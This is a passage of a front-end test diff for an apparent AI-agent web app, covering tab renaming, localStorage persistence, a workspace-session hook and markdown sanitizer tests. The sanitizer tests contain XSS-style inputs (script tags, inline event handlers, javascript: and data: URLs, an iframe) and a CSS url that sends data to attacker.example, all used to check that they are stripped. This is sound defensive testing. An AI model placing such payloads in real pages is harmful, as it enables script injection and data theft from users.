|
||||
"COMMON$CHANGES",
|
||||
"COMMON$FILES",
|
||||
"COMMON$TERMINAL",
|
||||
"COMMON$APP",
|
||||
"COMMON$BROWSER",
|
||||
];
|
||||
for (const tab of expectedTabs) {
|
||||
@@ -118,7 +117,7 @@ describe("ConversationTabsContextMenu", () => {
|
||||
|
||||
render(<ConversationTabsContextMenu isOpen={true} onClose={vi.fn()} />);
|
||||
|
||||
await user.click(screen.getByText("COMMON$CHANGES"));
|
||||
await user.click(screen.getByText("COMMON$FILES"));
|
||||
|
||||
const storeState = useConversationStore.getState();
|
||||
expect(storeState.hasRightPanelToggled).toBe(false);
|
||||
|
||||
@@ -53,15 +53,16 @@ vi.mock("#/hooks/use-agent-state", () => ({
|
||||
useAgentState: () => ({ curAgentState: mockCurAgentState }),
|
||||
}));
|
||||
|
||||
const createWrapper = (conversationId: string) => {
|
||||
return ({ children }: { children: React.ReactNode }) => (
|
||||
<MemoryRouter initialEntries={[`/conversations/${conversationId}`]}>
|
||||
<QueryClientProvider client={new QueryClient()}>
|
||||
<ActiveBackendProvider>{children}</ActiveBackendProvider>
|
||||
</QueryClientProvider>
|
||||
</MemoryRouter>
|
||||
);
|
||||
};
|
||||
const createWrapper = (conversationId: string) =>
|
||||
function ({ children }: { children: React.ReactNode }) {
|
||||
return (
|
||||
<MemoryRouter initialEntries={[`/conversations/${conversationId}`]}>
|
||||
<QueryClientProvider client={new QueryClient()}>
|
||||
<ActiveBackendProvider>{children}</ActiveBackendProvider>
|
||||
</QueryClientProvider>
|
||||
</MemoryRouter>
|
||||
);
|
||||
};
|
||||
|
||||
const seedConversationState = (
|
||||
conversationId: string,
|
||||
@@ -70,7 +71,7 @@ const seedConversationState = (
|
||||
localStorage.setItem(
|
||||
`conversation-state-${conversationId}`,
|
||||
JSON.stringify({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
conversationMode: "code",
|
||||
@@ -90,7 +91,7 @@ function seedActiveBackend(backend: Backend): void {
|
||||
__resetActiveStoreForTests();
|
||||
}
|
||||
|
||||
const setActiveTabState = (tab: "editor" | "planner") => {
|
||||
const setActiveTabState = (tab: "files" | "planner") => {
|
||||
seedConversationState(REAL_CONVERSATION_ID, {
|
||||
selectedTab: tab,
|
||||
rightPanelShown: true,
|
||||
@@ -142,7 +143,7 @@ describe("ConversationTabs localStorage behavior", () => {
|
||||
wrapper: createWrapper(REAL_CONVERSATION_ID),
|
||||
});
|
||||
|
||||
const changesTab = screen.getByTestId("conversation-tab-editor");
|
||||
const changesTab = screen.getByTestId("conversation-tab-files");
|
||||
await user.click(changesTab);
|
||||
|
||||
const consolidatedKey = `conversation-state-${REAL_CONVERSATION_ID}`;
|
||||
@@ -194,7 +195,7 @@ describe("ConversationTabs localStorage behavior", () => {
|
||||
|
||||
// Arrange: Panel is open with editor tab selected
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
@@ -204,7 +205,7 @@ describe("ConversationTabs localStorage behavior", () => {
|
||||
});
|
||||
|
||||
// Act: Click the editor tab again
|
||||
const editorTab = screen.getByTestId("conversation-tab-editor");
|
||||
const editorTab = screen.getByTestId("conversation-tab-files");
|
||||
await user.click(editorTab);
|
||||
|
||||
// Assert: Panel should be closed
|
||||
@@ -223,7 +224,7 @@ describe("ConversationTabs localStorage behavior", () => {
|
||||
|
||||
// Arrange: Panel is open with editor tab selected
|
||||
useConversationStore.setState({
|
||||
selectedTab: "editor",
|
||||
selectedTab: "files",
|
||||
isRightPanelShown: true,
|
||||
hasRightPanelToggled: true,
|
||||
});
|
||||
@@ -253,29 +254,63 @@ describe("ConversationTabs localStorage behavior", () => {
|
||||
mockConversationId = REAL_CONVERSATION_ID;
|
||||
});
|
||||
|
||||
it("shows the refresh button for the active editor tab and refetches changes", async () => {
|
||||
const user = userEvent.setup();
|
||||
setActiveTabState("editor");
|
||||
it("no longer renders the refresh button in the top tab bar (it now lives inside the Files tab toolbar)", () => {
|
||||
setActiveTabState("files");
|
||||
|
||||
render(<ConversationTabs />, {
|
||||
wrapper: createWrapper(REAL_CONVERSATION_ID),
|
||||
});
|
||||
|
||||
const refreshButton = document.querySelector(
|
||||
'button[aria-label="COMMON$CHANGES"]',
|
||||
// The old conversation-tabs refresh button used aria-label "COMMON$FILES"
|
||||
// on a top-bar <button>. Our `conversation-tab-files` button uses a
|
||||
// different DOM shape, so any <button> matching that aria-label here
|
||||
// would be the legacy refresh button.
|
||||
const buttons = Array.from(
|
||||
document.querySelectorAll('button[aria-label="COMMON$FILES"]'),
|
||||
);
|
||||
expect(refreshButton).toBeInTheDocument();
|
||||
if (!refreshButton) {
|
||||
throw new Error("Expected refresh button to be rendered");
|
||||
}
|
||||
// The only remaining match should be the tab nav itself (a button with
|
||||
// data-testid conversation-tab-files), if anything. There must be no
|
||||
// standalone refresh button.
|
||||
const refreshButtons = buttons.filter(
|
||||
(b) => b.getAttribute("data-testid") !== "conversation-tab-files",
|
||||
);
|
||||
expect(refreshButtons).toHaveLength(0);
|
||||
});
|
||||
|
||||
await user.click(refreshButton);
|
||||
it("places the Files tab leftmost in the tab bar", () => {
|
||||
setActiveTabState("files");
|
||||
|
||||
expect(mockRefetchGitChanges).toHaveBeenCalledTimes(1);
|
||||
render(<ConversationTabs />, {
|
||||
wrapper: createWrapper(REAL_CONVERSATION_ID),
|
||||
});
|
||||
|
||||
const tabs = Array.from(
|
||||
document.querySelectorAll('[data-testid^="conversation-tab-"]'),
|
||||
);
|
||||
const testIds = tabs.map((t) => t.getAttribute("data-testid"));
|
||||
// Files must be the first tab rendered in the bar.
|
||||
expect(testIds[0]).toBe("conversation-tab-files");
|
||||
});
|
||||
|
||||
it("keeps Files leftmost even when the task list tab is present", () => {
|
||||
setActiveTabState("files");
|
||||
mockHasTaskList = true;
|
||||
|
||||
render(<ConversationTabs />, {
|
||||
wrapper: createWrapper(REAL_CONVERSATION_ID),
|
||||
});
|
||||
|
||||
const tabs = Array.from(
|
||||
document.querySelectorAll('[data-testid^="conversation-tab-"]'),
|
||||
);
|
||||
const testIds = tabs.map((t) => t.getAttribute("data-testid"));
|
||||
expect(testIds[0]).toBe("conversation-tab-files");
|
||||
// Task list should still be visible, just not first.
|
||||
expect(testIds).toContain("conversation-tab-tasklist");
|
||||
});
|
||||
|
||||
it("does not show the build button when the planner tab is inactive", () => {
|
||||
setActiveTabState("editor");
|
||||
setActiveTabState("files");
|
||||
useConversationStore.setState({
|
||||
planContent: "# Plan content",
|
||||
});
|
||||
@@ -391,9 +426,7 @@ describe("ConversationTabs localStorage behavior", () => {
|
||||
});
|
||||
|
||||
// Assert
|
||||
expect(
|
||||
screen.getByTestId("conversation-tab-vscode"),
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByTestId("conversation-tab-vscode")).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -0,0 +1,251 @@
|
||||
import { render, screen } from "@testing-library/react";
|
||||
import { describe, it, expect } from "vitest";
|
||||
import { sanitize } from "hast-util-sanitize";
|
||||
import type { Element, Root } from "hast";
|
||||
|
||||
import {
|
||||
MarkdownRenderer,
|
||||
MARKDOWN_SANITIZE_SCHEMA,
|
||||
} from "#/components/features/markdown/markdown-renderer";
|
||||
|
||||
describe("MarkdownRenderer", () => {
|
||||
it("renders GFM tables (a GFM-only feature)", () => {
|
||||
const md = [
|
||||
"| Col A | Col B |",
|
||||
"| ----- | ----- |",
|
||||
"| 1 | 2 |",
|
||||
].join("\n");
|
||||
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
|
||||
const table = container.querySelector("table");
|
||||
expect(table).not.toBeNull();
|
||||
expect(container.querySelectorAll("th")).toHaveLength(2);
|
||||
expect(container.querySelectorAll("td")).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("renders GFM strikethrough", () => {
|
||||
const { container } = render(
|
||||
<MarkdownRenderer>{"~~struck~~ word"}</MarkdownRenderer>,
|
||||
);
|
||||
expect(container.querySelector("del")).not.toBeNull();
|
||||
expect(screen.getByText("struck").tagName.toLowerCase()).toBe("del");
|
||||
});
|
||||
|
||||
it("renders GFM task list checkboxes", () => {
|
||||
const md = ["- [x] done", "- [ ] todo"].join("\n");
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
const checkboxes = container.querySelectorAll('input[type="checkbox"]');
|
||||
expect(checkboxes).toHaveLength(2);
|
||||
expect((checkboxes[0] as HTMLInputElement).checked).toBe(true);
|
||||
expect((checkboxes[1] as HTMLInputElement).checked).toBe(false);
|
||||
});
|
||||
|
||||
it("renders inline HTML embedded in markdown", () => {
|
||||
const md = "Hello <mark>world</mark> and <kbd>Ctrl+C</kbd>";
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
expect(container.querySelector("mark")?.textContent).toBe("world");
|
||||
expect(container.querySelector("kbd")?.textContent).toBe("Ctrl+C");
|
||||
});
|
||||
|
||||
it("renders <details>/<summary> for collapsible sections", () => {
|
||||
const md = [
|
||||
"<details>",
|
||||
"<summary>Show more</summary>",
|
||||
"",
|
||||
"Hidden content",
|
||||
"</details>",
|
||||
].join("\n");
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
expect(container.querySelector("details")).not.toBeNull();
|
||||
expect(container.querySelector("summary")?.textContent).toBe("Show more");
|
||||
});
|
||||
|
||||
it("strips <script> tags via rehype-sanitize", () => {
|
||||
const md = 'Hello<script>window.__pwn = true;</script> world';
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
expect(container.querySelector("script")).toBeNull();
|
||||
// The text content surrounding the script must still be there.
|
||||
expect(container.textContent).toContain("Hello");
|
||||
expect(container.textContent).toContain("world");
|
||||
});
|
||||
|
||||
it("strips inline event handlers (onclick, etc.) via rehype-sanitize", () => {
|
||||
const md = '<button onclick="window.__pwn=true">Click me</button>';
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
const button = container.querySelector("button");
|
||||
// The element itself may pass through (it's a normal HTML button) but
|
||||
// the onclick attribute must be gone.
|
||||
if (button) {
|
||||
expect(button.getAttribute("onclick")).toBeNull();
|
||||
}
|
||||
});
|
||||
|
||||
it("strips javascript: URLs in anchor hrefs", () => {
|
||||
// Use raw HTML so we test the sanitizer end-to-end (markdown's own
|
||||
// link syntax escapes this differently).
|
||||
const md = '<a href="javascript:alert(1)">click</a>';
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
const anchor = container.querySelector("a");
|
||||
// Two acceptable sanitize outcomes:
|
||||
// (1) the anchor is stripped entirely → `anchor === null`,
|
||||
// (2) the anchor survives but its dangerous href was dropped.
|
||||
// What's NOT acceptable is keeping the javascript: URL. Assert
|
||||
// explicitly in both branches so we never accidentally pass on a
|
||||
// sanitizer that smuggles the link through unmodified by removing
|
||||
// the surrounding wrapper (in which case the `if (anchor)` check
|
||||
// would short-circuit silently).
|
||||
if (anchor === null) {
|
||||
// Sanitizer dropped the anchor entirely — verifiably safe.
|
||||
expect(anchor).toBeNull();
|
||||
} else {
|
||||
expect(anchor.getAttribute("href") ?? "").not.toMatch(/^javascript:/i);
|
||||
}
|
||||
});
|
||||
|
||||
it("does not honor `style` attributes (CSS-injection class of attacks)", () => {
|
||||
// CSS can be a side channel for data exfiltration
|
||||
// (`background-image: url("https://attacker.example/?cookie=…")`) or
|
||||
// for clickjacking/UI redress (`position: fixed; top: 0; …`). Our
|
||||
// schema deliberately omits `style` from the allowed attribute list
|
||||
// so the sanitizer drops it.
|
||||
const md =
|
||||
'<div style="background:url(\'https://attacker.example/exfil\')">x</div>';
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
const div = container.querySelector("div");
|
||||
expect(div).not.toBeNull();
|
||||
// The style attribute must be gone (or at minimum not contain the
|
||||
// attacker URL).
|
||||
expect(div?.getAttribute("style") ?? "").not.toMatch(
|
||||
/attacker\.example/i,
|
||||
);
|
||||
expect(div?.getAttribute("style")).toBeNull();
|
||||
});
|
||||
|
||||
it("blocks data:text/html URLs in img src", () => {
|
||||
// `data:` covers arbitrary mime types, not just images — allowing
|
||||
// it on `<img src>` would let an authored doc round-trip an HTML
|
||||
// document with no schema validation. Our protocol allow-list for
|
||||
// src is restricted to http(s).
|
||||
const md = '<img src="data:text/html,<script>alert(1)</script>" alt="x">';
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
const img = container.querySelector("img");
|
||||
// The sanitizer may either drop src entirely or drop the whole tag —
|
||||
// either way the data:text/html URL must not survive.
|
||||
expect(img?.getAttribute("src") ?? "").not.toMatch(/^data:/i);
|
||||
});
|
||||
|
||||
it("strips other inline event handlers (onerror, onload, onmouseover)", () => {
|
||||
const cases = [
|
||||
'<img src="https://example.com/x.png" onerror="window.__pwn=1">',
|
||||
'<div onmouseover="window.__pwn=1">hover</div>',
|
||||
'<a href="https://example.com" onfocus="window.__pwn=1">link</a>',
|
||||
];
|
||||
for (const md of cases) {
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
// Whichever tag survived must not carry an on* handler attribute.
|
||||
const element = container.querySelector("img, div, a");
|
||||
if (element) {
|
||||
for (const attr of element.getAttributeNames()) {
|
||||
expect(attr.toLowerCase()).not.toMatch(/^on/);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps http(s) and mailto: URLs intact", () => {
|
||||
const md =
|
||||
"[external](https://example.com) and [mail](mailto:a@example.com)";
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
const anchors = container.querySelectorAll("a");
|
||||
const hrefs = Array.from(anchors).map((a) => a.getAttribute("href"));
|
||||
expect(hrefs).toContain("https://example.com");
|
||||
expect(hrefs).toContain("mailto:a@example.com");
|
||||
});
|
||||
|
||||
it("drops <iframe> tags (not in the allow-list)", () => {
|
||||
const md = '<iframe src="https://evil.example.com"></iframe>';
|
||||
const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
|
||||
expect(container.querySelector("iframe")).toBeNull();
|
||||
});
|
||||
|
||||
it("strips raw HTML when allowHtml=false", () => {
|
||||
const md = "Hello <mark>world</mark>";
|
||||
const { container } = render(
|
||||
<MarkdownRenderer allowHtml={false}>{md}</MarkdownRenderer>,
|
||||
);
|
||||
// <mark> should not be parsed; the text should still appear.
|
||||
expect(container.querySelector("mark")).toBeNull();
|
||||
expect(container.textContent).toContain("world");
|
||||
});
|
||||
});
|
||||
|
||||
// Direct tests against MARKDOWN_SANITIZE_SCHEMA. End-to-end
|
||||
// MarkdownRenderer tests can't reach these because our custom `anchor`
|
||||
// component always hard-codes target/rel — so even a buggy schema (one
|
||||
// that strips `rel` from HAST) would still produce a safe-looking final
|
||||
// `<a>`. We run `hast-util-sanitize` directly on hand-built HAST trees
|
||||
// to assert what the schema does and doesn't pass through.
|
||||
describe("MARKDOWN_SANITIZE_SCHEMA", () => {
|
||||
function makeAnchor(properties: Record<string, unknown>): Root {
|
||||
return {
|
||||
type: "root",
|
||||
children: [
|
||||
{
|
||||
type: "element",
|
||||
tagName: "a",
|
||||
properties,
|
||||
children: [{ type: "text", value: "link" }],
|
||||
} as Element,
|
||||
],
|
||||
};
|
||||
}
|
||||
|
||||
function firstAnchor(tree: Root): Element | null {
|
||||
const node = tree.children[0];
|
||||
return node && node.type === "element" ? (node as Element) : null;
|
||||
}
|
||||
|
||||
it("preserves space-separated rel values on raw HTML anchors (regression for fc208bc)", () => {
|
||||
// The old schema used `["rel", "noopener", "noreferrer", "nofollow"]`,
|
||||
// which is rehype-sanitize's "exact match against allowed values"
|
||||
// form — it would reject `rel="noopener noreferrer"` (the canonical
|
||||
// safe-link incantation) because the *combined* string isn't in the
|
||||
// allowed-values list. With the fix this test must pass: rel is
|
||||
// preserved verbatim.
|
||||
const tree = sanitize(
|
||||
makeAnchor({
|
||||
href: "https://example.com",
|
||||
target: "_blank",
|
||||
rel: "noopener noreferrer",
|
||||
}),
|
||||
MARKDOWN_SANITIZE_SCHEMA,
|
||||
) as Root;
|
||||
|
||||
const a = firstAnchor(tree);
|
||||
expect(a).not.toBeNull();
|
||||
// hast-util-sanitize stores `rel` as an array of tokens; reassemble.
|
||||
const relProp = a?.properties?.rel;
|
||||
const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp;
|
||||
expect(rel).toBe("noopener noreferrer");
|
||||
expect(a?.properties?.target).toBe("_blank");
|
||||
expect(a?.properties?.href).toBe("https://example.com");
|
||||
});
|
||||
|
||||
it("preserves rel even when it carries unusual but-safe tokens like `nofollow ugc`", () => {
|
||||
// `rel` keywords never execute code or navigate, so allowing any
|
||||
// value is safe. This locks that property in.
|
||||
const tree = sanitize(
|
||||
makeAnchor({
|
||||
href: "https://example.com",
|
||||
rel: "nofollow ugc",
|
||||
}),
|
||||
MARKDOWN_SANITIZE_SCHEMA,
|
||||
) as Root;
|
||||
|
||||
const a = firstAnchor(tree);
|
||||
const relProp = a?.properties?.rel;
|
||||
const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp;
|
||||
expect(rel).toBe("nofollow ugc");
|
||||
});
|
||||
});
|
||||
@@ -29,7 +29,7 @@ describe("conversation localStorage utilities", () => {
|
||||
const state = getConversationState("task-uuid-123");
|
||||
|
||||
expect(state.conversationMode).toBe("code");
|
||||
expect(state.selectedTab).toBe("editor");
|
||||
expect(state.selectedTab).toBe("files");
|
||||
expect(state.rightPanelShown).toBe(true);
|
||||
expect(
|
||||
localStorage.getItem(
|
||||
@@ -115,7 +115,7 @@ describe("conversation localStorage utilities", () => {
|
||||
const state = getConversationState(conversationId);
|
||||
|
||||
expect(state.subConversationTaskId).toBeNull();
|
||||
expect(state.selectedTab).toBe("editor");
|
||||
expect(state.selectedTab).toBe("files");
|
||||
expect(state.rightPanelShown).toBe(true);
|
||||
expect(state.unpinnedTabs).toEqual([]);
|
||||
});
|
||||
@@ -154,10 +154,56 @@ describe("conversation localStorage utilities", () => {
|
||||
const state = getConversationState(conversationId);
|
||||
|
||||
expect(state.subConversationTaskId).toBe("task-123");
|
||||
expect(state.selectedTab).toBe("editor");
|
||||
expect(state.selectedTab).toBe("files");
|
||||
expect(state.rightPanelShown).toBe(true);
|
||||
expect(state.unpinnedTabs).toEqual([]);
|
||||
});
|
||||
|
||||
it("falls back to the default tab when stored selectedTab is no longer valid", () => {
|
||||
const conversationId = "conv-123";
|
||||
const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`;
|
||||
|
||||
// Persisted from a previous app version where "editor" was a tab.
|
||||
localStorage.setItem(
|
||||
consolidatedKey,
|
||||
JSON.stringify({
|
||||
selectedTab: "editor",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: [],
|
||||
}),
|
||||
);
|
||||
|
||||
const state = getConversationState(conversationId);
|
||||
|
||||
expect(state.selectedTab).toBe("files");
|
||||
});
|
||||
|
||||
it("filters obsolete tabs out of stored unpinnedTabs (changes / editor / served / app)", () => {
|
||||
// Returning users may have unpinned the now-removed Changes,
|
||||
// Editor, Served, or App tabs in a previous version. Those names
|
||||
// should not survive the read — otherwise they linger forever in
|
||||
// localStorage since the UI has no way to surface them again to be
|
||||
// re-pinned. We cover ALL four removed names here (the previous
|
||||
// version of this test missed `app` and the gap let a denylist-vs-
|
||||
// whitelist regression slip through review).
|
||||
const conversationId = "conv-123";
|
||||
const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`;
|
||||
|
||||
localStorage.setItem(
|
||||
consolidatedKey,
|
||||
JSON.stringify({
|
||||
selectedTab: "files",
|
||||
rightPanelShown: true,
|
||||
unpinnedTabs: ["editor", "changes", "served", "app", "terminal"],
|
||||
}),
|
||||
);
|
||||
|
||||
const state = getConversationState(conversationId);
|
||||
|
||||
// Only the still-valid `terminal` entry survives; all four
|
||||
// obsolete names are dropped.
|
||||
expect(state.unpinnedTabs).toEqual(["terminal"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("setConversationState", () => {
|
||||
@@ -185,7 +231,7 @@ describe("conversation localStorage utilities", () => {
|
||||
localStorage.setItem(
|
||||
consolidatedKey,
|
||||
JSON.stringify({
|
||||
selectedTab: "changes",
|
||||
selectedTab: "browser",
|
||||
rightPanelShown: false,
|
||||
unpinnedTabs: ["tab-1"],
|
||||
subConversationTaskId: "old-task-id",
|
||||
@@ -201,7 +247,7 @@ describe("conversation localStorage utilities", () => {
|
||||
const parsed = JSON.parse(stored!);
|
||||
|
||||
expect(parsed.subConversationTaskId).toBe("new-task-id");
|
||||
expect(parsed.selectedTab).toBe("changes");
|
||||
expect(parsed.selectedTab).toBe("browser");
|
||||
expect(parsed.rightPanelShown).toBe(false);
|
||||
expect(parsed.unpinnedTabs).toEqual(["tab-1"]);
|
||||
});
|
||||
@@ -456,4 +502,110 @@ describe("conversation localStorage utilities", () => {
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("filesTabDiffView persistence", () => {
|
||||
// The diff-view toggle is per-conversation: in a git repo it
|
||||
// defaults to ON, in a plain workspace it defaults to OFF, but the
|
||||
// user's last explicit choice should win. Verify the boolean
|
||||
// round-trips through localStorage and that the unset case stays
|
||||
// `null` (so the higher layer can apply the repo-aware default).
|
||||
|
||||
it("defaults to null when nothing is stored", () => {
|
||||
const state = getConversationState("files-diff-conv-1");
|
||||
expect(state.filesTabDiffView).toBeNull();
|
||||
});
|
||||
|
||||
it("round-trips `true` through localStorage", () => {
|
||||
const conversationId = "files-diff-conv-2";
|
||||
setConversationState(conversationId, { filesTabDiffView: true });
|
||||
|
||||
const state = getConversationState(conversationId);
|
||||
expect(state.filesTabDiffView).toBe(true);
|
||||
|
||||
// Also verify the on-disk shape — important because the consumer
|
||||
// code reads it back via `JSON.parse`, so a wrong-type value would
|
||||
// be a silent regression.
|
||||
const raw = localStorage.getItem(
|
||||
`${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`,
|
||||
);
|
||||
expect(raw).not.toBeNull();
|
||||
expect(JSON.parse(raw as string).filesTabDiffView).toBe(true);
|
||||
});
|
||||
|
||||
it("round-trips `false` through localStorage", () => {
|
||||
const conversationId = "files-diff-conv-3";
|
||||
setConversationState(conversationId, { filesTabDiffView: false });
|
||||
|
||||
const state = getConversationState(conversationId);
|
||||
expect(state.filesTabDiffView).toBe(false);
|
||||
});
|
||||
|
||||
it("is isolated per conversation", () => {
|
||||
setConversationState("files-diff-convA", { filesTabDiffView: true });
|
||||
setConversationState("files-diff-convB", { filesTabDiffView: false });
|
||||
|
||||
expect(
|
||||
getConversationState("files-diff-convA").filesTabDiffView,
|
||||
).toBe(true);
|
||||
expect(
|
||||
getConversationState("files-diff-convB").filesTabDiffView,
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("filesTabContentViewMode persistence", () => {
|
||||
// The rich/plain toggle for the file content viewer also persists
|
||||
// per conversation. Default is "rich" — verified explicitly here so
|
||||
// a careless change to the default field initializer doesn't slip
|
||||
// through unnoticed (it would flip every existing user from rich to
|
||||
// plain after deploy).
|
||||
|
||||
it("defaults to 'rich' when nothing is stored", () => {
|
||||
const state = getConversationState("files-view-conv-1");
|
||||
expect(state.filesTabContentViewMode).toBe("rich");
|
||||
});
|
||||
|
||||
it("round-trips 'plain' through localStorage", () => {
|
||||
const conversationId = "files-view-conv-2";
|
||||
setConversationState(conversationId, {
|
||||
filesTabContentViewMode: "plain",
|
||||
});
|
||||
|
||||
expect(
|
||||
getConversationState(conversationId).filesTabContentViewMode,
|
||||
).toBe("plain");
|
||||
|
||||
const raw = localStorage.getItem(
|
||||
`${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`,
|
||||
);
|
||||
expect(JSON.parse(raw as string).filesTabContentViewMode).toBe("plain");
|
||||
});
|
||||
|
||||
it("round-trips 'rich' through localStorage (explicit save, not default)", () => {
|
||||
const conversationId = "files-view-conv-3";
|
||||
setConversationState(conversationId, {
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
expect(
|
||||
getConversationState(conversationId).filesTabContentViewMode,
|
||||
).toBe("rich");
|
||||
});
|
||||
|
||||
it("is isolated per conversation", () => {
|
||||
setConversationState("files-view-convA", {
|
||||
filesTabContentViewMode: "plain",
|
||||
});
|
||||
setConversationState("files-view-convB", {
|
||||
filesTabContentViewMode: "rich",
|
||||
});
|
||||
|
||||
expect(
|
||||
getConversationState("files-view-convA").filesTabContentViewMode,
|
||||
).toBe("plain");
|
||||
expect(
|
||||
getConversationState("files-view-convB").filesTabContentViewMode,
|
||||
).toBe("rich");
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,193 @@
|
||||
import React from "react";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { renderHook, waitFor } from "@testing-library/react";
|
||||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
|
||||
import {
|
||||
joinWorkspaceUrl,
|
||||
useWorkspaceSession,
|
||||
} from "#/hooks/query/use-workspace-session";
|
||||
|
||||
// We mock the workspace factory rather than the lower-level HttpClient:
|
||||
// that's where our wiring contract lives (we hand the typescript-client a
|
||||
// conversation id and trust it to do the right POST + return a base URL).
|
||||
const startWorkspaceSessionMock = vi.fn();
|
||||
const createRemoteWorkspaceMock = vi.fn();
|
||||
|
||||
vi.mock("#/api/typescript-client", async (importOriginal) => {
|
||||
const real = await importOriginal<typeof import("#/api/typescript-client")>();
|
||||
return {
|
||||
...real,
|
||||
createRemoteWorkspace: (...args: unknown[]) => {
|
||||
createRemoteWorkspaceMock(...args);
|
||||
return {
|
||||
startWorkspaceSession: startWorkspaceSessionMock,
|
||||
};
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
const useActiveConversationMock = vi.fn();
|
||||
vi.mock("#/hooks/query/use-active-conversation", () => ({
|
||||
useActiveConversation: () => useActiveConversationMock(),
|
||||
}));
|
||||
|
||||
const useRuntimeIsReadyMock = vi.fn();
|
||||
vi.mock("#/hooks/use-runtime-is-ready", () => ({
|
||||
useRuntimeIsReady: () => useRuntimeIsReadyMock(),
|
||||
}));
|
||||
|
||||
function makeWrapper() {
|
||||
const client = new QueryClient({
|
||||
defaultOptions: { queries: { retry: false } },
|
||||
});
|
||||
const Wrapper = function WorkspaceSessionTestWrapper({
|
||||
children,
|
||||
}: {
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<QueryClientProvider client={client}>{children}</QueryClientProvider>
|
||||
);
|
||||
};
|
||||
return Wrapper;
|
||||
}
|
||||
|
||||
// Yields back to the event loop a few microtasks deep so react-query has a
|
||||
// chance to schedule (and, in the negative-path tests, to NOT schedule) the
|
||||
// query. ESLint forbids returning the timer id from `new Promise(...)`, so
|
||||
// we wrap setTimeout in a void callback.
|
||||
function flushScheduler(ms = 10): Promise<void> {
|
||||
return new Promise((resolve) => {
|
||||
setTimeout(resolve, ms);
|
||||
});
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
startWorkspaceSessionMock.mockReset();
|
||||
createRemoteWorkspaceMock.mockReset();
|
||||
useActiveConversationMock.mockReset();
|
||||
useRuntimeIsReadyMock.mockReset();
|
||||
useRuntimeIsReadyMock.mockReturnValue(true);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe("useWorkspaceSession", () => {
|
||||
it("calls startWorkspaceSession and exposes the returned baseUrl", async () => {
|
||||
useActiveConversationMock.mockReturnValue({
|
||||
data: {
|
||||
id: "conv-1",
|
||||
conversation_url: "https://agent.example.com/api/conversations/conv-1",
|
||||
session_api_key: "key-abc",
|
||||
},
|
||||
});
|
||||
startWorkspaceSessionMock.mockResolvedValue(
|
||||
"https://agent.example.com/api/conversations/conv-1/workspace/",
|
||||
);
|
||||
|
||||
const { result } = renderHook(() => useWorkspaceSession(), {
|
||||
wrapper: makeWrapper(),
|
||||
});
|
||||
|
||||
await waitFor(() => {
|
||||
expect(result.current.data?.baseUrl).toBe(
|
||||
"https://agent.example.com/api/conversations/conv-1/workspace/",
|
||||
);
|
||||
});
|
||||
|
||||
expect(createRemoteWorkspaceMock).toHaveBeenCalledTimes(1);
|
||||
expect(createRemoteWorkspaceMock).toHaveBeenCalledWith({
|
||||
conversationUrl: "https://agent.example.com/api/conversations/conv-1",
|
||||
sessionApiKey: "key-abc",
|
||||
});
|
||||
expect(startWorkspaceSessionMock).toHaveBeenCalledTimes(1);
|
||||
expect(startWorkspaceSessionMock).toHaveBeenCalledWith("conv-1");
|
||||
});
|
||||
|
||||
it("does not call startWorkspaceSession until the runtime is ready", async () => {
|
||||
useActiveConversationMock.mockReturnValue({
|
||||
data: {
|
||||
id: "conv-1",
|
||||
conversation_url: "https://agent.example.com/api/conversations/conv-1",
|
||||
session_api_key: "key-abc",
|
||||
},
|
||||
});
|
||||
useRuntimeIsReadyMock.mockReturnValue(false);
|
||||
|
||||
const { result } = renderHook(() => useWorkspaceSession(), {
|
||||
wrapper: makeWrapper(),
|
||||
});
|
||||
|
||||
// Give react-query a tick to schedule (it shouldn't).
|
||||
await flushScheduler();
|
||||
expect(startWorkspaceSessionMock).not.toHaveBeenCalled();
|
||||
expect(result.current.data).toBeNull();
|
||||
});
|
||||
|
||||
it("does not call startWorkspaceSession without a conversation id", async () => {
|
||||
